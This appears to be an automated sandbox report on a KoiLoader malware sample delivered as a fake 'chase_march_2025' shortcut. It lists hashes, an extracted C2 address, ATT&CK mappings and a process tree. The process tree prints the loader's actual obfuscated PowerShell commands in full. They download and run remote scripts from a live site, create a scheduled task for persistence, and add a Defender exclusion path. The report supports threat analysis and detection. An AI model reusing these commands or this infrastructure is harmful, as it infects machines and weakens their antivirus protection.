koiloader | 3bfb486ba3651881de7009679dbbdc68b685612a72c3c051305699efaa1fe5cb

General

Target

chase_march_2025.lnk
Size

1KB
MD5

c8819ed5f7f4a9b309e01db14b458a60
SHA1

1b78c2b3627814971f73c7fa2696d1119154ea07
SHA256

5d736786036eeeaeb7a7c8b3652c76ca4c61a845619004e0b9bb679971da6a48
SHA512

72e7d619453b60df925f2f593bb9ff3156c717e97354f1de6025f9de67c8ec7713dccc01988928072b271f20eca35168023fed06f084376db47b2a07be424f78

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://studiolegaledesanctis.eu/wp-content/uploads/2024/07

Extracted

Family

koiloader

C2

http://217.156.66.15/gnathopoda.php

Attributes

payload_url
https://studiolegaledesanctis.eu/wp-content/uploads/2024/07

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral1/memory/6112-56-0x0000000007D70000-0x0000000007D7D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
4	4516	powershell.exe
61	6112	powershell.exe
62	6112	powershell.exe
64	1132	powershell.exe
65	1132	powershell.exe
77	6112	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4516	powershell.exe
6112	powershell.exe
5504	powershell.exe
1132	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\International\Geo\Nation	wscript.EXE
Key value queried	\REGISTRY\USER\S-1-5-21-3446877943-4095308722-756223633-1000\Control Panel\International\Geo\Nation	wscript.exe

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1048	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5324	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4516	powershell.exe
4516	powershell.exe
1048	powershell.exe
1048	powershell.exe
6112	powershell.exe
6112	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
1132	powershell.exe
1132	powershell.exe
1132	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	6112	powershell.exe
Token: SeDebugPrivilege	5504	powershell.exe
Token: SeDebugPrivilege	1132	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3076 wrote to memory of 4516	3076	cmd.exe	89
PID 3076 wrote to memory of 4516	3076	cmd.exe	89
PID 4516 wrote to memory of 5828	4516	powershell.exe	90
PID 4516 wrote to memory of 5828	4516	powershell.exe	90
PID 4516 wrote to memory of 5324	4516	powershell.exe	94
PID 4516 wrote to memory of 5324	4516	powershell.exe	94
PID 2772 wrote to memory of 1048	2772	wscript.EXE	113
PID 2772 wrote to memory of 1048	2772	wscript.EXE	113
PID 1048 wrote to memory of 2264	1048	powershell.exe	115
PID 1048 wrote to memory of 2264	1048	powershell.exe	115
PID 1048 wrote to memory of 5612	1048	powershell.exe	116
PID 1048 wrote to memory of 5612	1048	powershell.exe	116
PID 5612 wrote to memory of 6112	5612	wscript.exe	117
PID 5612 wrote to memory of 6112	5612	wscript.exe	117
PID 5612 wrote to memory of 6112	5612	wscript.exe	117
PID 5804 wrote to memory of 6032	5804	DllHost.exe	120
PID 5804 wrote to memory of 6032	5804	DllHost.exe	120
PID 5804 wrote to memory of 6032	5804	DllHost.exe	120
PID 6032 wrote to memory of 5504	6032	cmd.exe	122
PID 6032 wrote to memory of 5504	6032	cmd.exe	122
PID 6032 wrote to memory of 5504	6032	cmd.exe	122
PID 6112 wrote to memory of 5224	6112	powershell.exe	123
PID 6112 wrote to memory of 5224	6112	powershell.exe	123
PID 6112 wrote to memory of 5224	6112	powershell.exe	123
PID 5224 wrote to memory of 1132	5224	cmd.exe	125
PID 5224 wrote to memory of 1132	5224	cmd.exe	125
PID 5224 wrote to memory of 1132	5224	cmd.exe	125

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_march_2025.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('1o6gjltxwxrjzt.js w2tvvf08m'); $getf='Dow'+'nl'+'oadF'+'ile'; $ri6muz5x1g1rk = New-Object Net.WebClient; $wscs = 'wscript '; $ri6muz5x1g1rk.$getf('https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/ventage3a.php', '1o6gjltxwxrjzt.js'); . ('curl.e'+'xe') -s -o fv8jwiyi037p 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/caginessEBuk.php'; mv fv8jwiyi037p 'w2tvvf08m.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn w2tvvf08m;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4516
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o fv8jwiyi037p https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/caginessEBuk.php
    3⤵
    PID:5828
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\1o6gjltxwxrjzt.js w2tvvf08m" /tn w2tvvf08m
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5324

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\1o6gjltxwxrjzt.js w2tvvf08m
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn w2tvvf08m /f; wscript $env:programdata\w2tvvf08m.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn w2tvvf08m /f
    3⤵
    PID:2264
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\w2tvvf08m.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5612
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zHAE4MXHXFA'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/uratic58o.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/shepherdess1Hwn.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:6112
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:5224
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://studiolegaledesanctis.eu/wp-content/uploads/2024/07/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1132

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5804
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6032
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5504

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r446d0502-ee25-49d3-945d-920c328ed118r.js"
1⤵
PID:4852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\1o6gjltxwxrjzt.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\ProgramData\fv8jwiyi037p

Filesize
1KB

MD5
66422f78176819498663cffedaa93efb

SHA1
cd3a9e9c5e7ea8572b3f7d0233026cf5f5ef7984

SHA256
01b4a4b590035f311d4a8471b1c29f0082b6632b238821fc06d9532d29fd06d3

SHA512
d100e22177bb28320864409b454ec358c1541d40ddccc9ce4a08b9c4f6c6981a1dc7add1c66a1911425977b6895b62c383fa1436ac51deaea988dcb59829aa5e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
9cc248cf957a372294d6f457bc6e1458

SHA1
ef3a18e45288dbbe95660e97228b8a0b8ea82221

SHA256
aca67397df01161534b4f1ea54e91f03b6d2939f95373f78565b5c3cd13b508f

SHA512
20b2ed256f0baa858b1c0e03418762739c90b8ebd4e930c1912e272542eea7d301afdae7f795c2d35abbab2f512786103888af032ad7cca460a38a19ff85465a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6ee98024356ee77e9b3383df31956cf7

SHA1
2ea17db0409146b79b59f2feee50476c8e77fe4d

SHA256
937461e9fe8bf1e13d9f73aa2aa93a7dd2ba8f66b98576f6eca55790ca0eafe4

SHA512
171c1ecbd2b319e29eed5446a7a90523dbb024d79d6fe029fc84499d773669cb406205fd2a84e498e746e4581da6c82de6b1cfc7bd9549734e01257b02a67312

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qttgsaa0.1az.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1132-103-0x0000000007C20000-0x0000000007C70000-memory.dmp

Filesize
320KB

Download
memory/1132-100-0x00000000073D0000-0x00000000073F2000-memory.dmp

Filesize
136KB

Download
memory/1132-104-0x0000000007D10000-0x0000000007DA2000-memory.dmp

Filesize
584KB

Download
memory/1132-102-0x0000000007B90000-0x0000000007BAA000-memory.dmp

Filesize
104KB

Download
memory/1132-101-0x0000000008140000-0x00000000086E4000-memory.dmp

Filesize
5.6MB

Download
memory/4516-2-0x00007FFAA4043000-0x00007FFAA4045000-memory.dmp

Filesize
8KB

Download
memory/4516-14-0x00007FFAA4040000-0x00007FFAA4B01000-memory.dmp

Filesize
10.8MB

Download
memory/4516-13-0x00007FFAA4040000-0x00007FFAA4B01000-memory.dmp

Filesize
10.8MB

Download
memory/4516-20-0x00007FFAA4040000-0x00007FFAA4B01000-memory.dmp

Filesize
10.8MB

Download
memory/4516-12-0x0000012CCBA40000-0x0000012CCBA62000-memory.dmp

Filesize
136KB

Download
memory/5504-97-0x00000000076E0000-0x00000000076E8000-memory.dmp

Filesize
32KB

Download
memory/5504-84-0x00000000075C0000-0x00000000075D1000-memory.dmp

Filesize
68KB

Download
memory/5504-96-0x0000000007700000-0x000000000771A000-memory.dmp

Filesize
104KB

Download
memory/5504-95-0x0000000007600000-0x0000000007614000-memory.dmp

Filesize
80KB

Download
memory/5504-94-0x00000000075F0000-0x00000000075FE000-memory.dmp

Filesize
56KB

Download
memory/5504-69-0x0000000007030000-0x0000000007062000-memory.dmp

Filesize
200KB

Download
memory/5504-70-0x0000000070610000-0x000000007065C000-memory.dmp

Filesize
304KB

Download
memory/5504-80-0x0000000007070000-0x000000000708E000-memory.dmp

Filesize
120KB

Download
memory/5504-81-0x0000000007090000-0x0000000007133000-memory.dmp

Filesize
652KB

Download
memory/5504-82-0x0000000007430000-0x000000000743A000-memory.dmp

Filesize
40KB

Download
memory/5504-83-0x0000000007640000-0x00000000076D6000-memory.dmp

Filesize
600KB

Download
memory/6112-35-0x0000000003230000-0x0000000003266000-memory.dmp

Filesize
216KB

Download
memory/6112-56-0x0000000007D70000-0x0000000007D7D000-memory.dmp

Filesize
52KB

Download
memory/6112-55-0x0000000007CD0000-0x0000000007CD1000-memory.dmp

Filesize
4KB

Download
memory/6112-54-0x0000000007E70000-0x00000000084EA000-memory.dmp

Filesize
6.5MB

Download
memory/6112-53-0x0000000006BE0000-0x0000000006BFA000-memory.dmp

Filesize
104KB

Download
memory/6112-52-0x0000000006820000-0x000000000686C000-memory.dmp

Filesize
304KB

Download
memory/6112-51-0x00000000067E0000-0x00000000067FE000-memory.dmp

Filesize
120KB

Download
memory/6112-49-0x0000000006210000-0x0000000006564000-memory.dmp

Filesize
3.3MB

Download
memory/6112-39-0x0000000005990000-0x00000000059F6000-memory.dmp

Filesize
408KB

Download
memory/6112-38-0x00000000058B0000-0x0000000005916000-memory.dmp

Filesize
408KB

Download
memory/6112-37-0x0000000005810000-0x0000000005832000-memory.dmp

Filesize
136KB

Download
memory/6112-36-0x0000000005A20000-0x0000000006048000-memory.dmp

Filesize
6.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads